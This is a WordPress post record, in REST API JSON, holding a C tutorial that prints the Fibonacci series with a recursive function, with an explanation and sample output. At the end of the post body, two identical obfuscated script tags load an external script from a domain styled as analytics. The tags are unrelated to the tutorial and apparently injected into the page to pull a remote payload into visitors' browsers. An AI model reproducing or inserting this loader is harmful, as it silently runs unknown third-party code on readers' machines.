{"id":884,"date":"2024-10-14T13:31:46","date_gmt":"2024-10-14T08:01:46","guid":{"rendered":"https:\/\/codexplained.in\/?p=884"},"modified":"2025-11-24T15:53:26","modified_gmt":"2025-11-24T10:23:26","slug":"fibonacci-series-using-recursion","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=884","title":{"rendered":"Fibonacci Series of &#8216;n&#8217; Terms using Recursion"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>The Fibonacci series is a well-known sequence of numbers where each number is the sum of the two preceding numbers, starting from 0 and 1. The sequence is defined as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>F(0)=0F(0) = 0F(0)=0<\/li>\n\n\n\n<li>F(1)=1F(1) = 1F(1)=1<\/li>\n\n\n\n<li>F(n)=F(n\u22121)+F(n\u22122)F(n) = F(n-1) + F(n-2)F(n)=F(n\u22121)+F(n\u22122) for n&gt;1n &gt; 1n&gt;1<\/li>\n<\/ul>\n\n\n\n<p>Recursion is a programming technique where a function calls itself to solve smaller subproblems. This is particularly suitable for computing Fibonacci numbers due to its straightforward definition.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to calculate Fibonacci number using recursion\nint fibonacci(int n) {\n    if (n == 0)\n        return 0; \/\/ Base case 1\n    else if (n == 1)\n        return 1; \/\/ Base case 2\n    else\n        return fibonacci(n - 1) + fibonacci(n - 2); \/\/ Recursive case\n}\n\nint main() {\n    int terms, i;\n\n    \/\/ Input: number of terms in the Fibonacci series\n    printf(&quot;Enter the number of terms in the Fibonacci series: &quot;);\n    scanf(&quot;%d&quot;, &amp;terms);\n\n    printf(&quot;Fibonacci series: &quot;);\n    for (i = 0; i &lt; terms; i++) {\n        printf(&quot;%d &quot;, fibonacci(i)); \/\/ Print each Fibonacci number\n    }\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>fibonacci<\/code> function takes an integer nnn as input.<\/li>\n\n\n\n<li>It checks the base cases:\n<ul class=\"wp-block-list\">\n<li>If n=0n = 0n=0, it returns 0.<\/li>\n\n\n\n<li>If n=1n = 1n=1, it returns 1.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>For n&gt;1n &gt; 1n&gt;1, it calls itself recursively to compute the nnn-th Fibonacci number as the sum of the two preceding numbers.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Prompts the user to enter the number of terms for the Fibonacci series.<\/li>\n\n\n\n<li>Uses a loop to call the <code>fibonacci<\/code> function for each term and prints the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>When the program runs, it prompts for the number of terms in the Fibonacci series:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter the number of terms in the Fibonacci series: 10<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The program will output the Fibonacci series up to the specified number of terms:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Fibonacci series: 0 1 1 2 3 5 8 13 21 34<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Using recursion to generate the Fibonacci series is a clear and illustrative example of how recursive functions work. While the recursive method is easy to implement and understand, it has limitations in terms of efficiency for large values of nnn due to its exponential time complexity. For practical applications, more efficient methods like iteration or memorization may be preferred. Nonetheless, this recursive approach effectively demonstrates fundamental concepts in programming and algorithm design.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction The Fibonacci series is a well-known sequence of numbers where each number is the sum of the two preceding numbers, starting from 0 and 1. The sequence is defined as follows: Recursion is a programming technique where a function calls itself to solve smaller subproblems. This is particularly suitable for computing Fibonacci numbers due [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":537,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-884","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=884"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/884\/revisions"}],"predecessor-version":[{"id":1450,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/884\/revisions\/1450"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/537"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}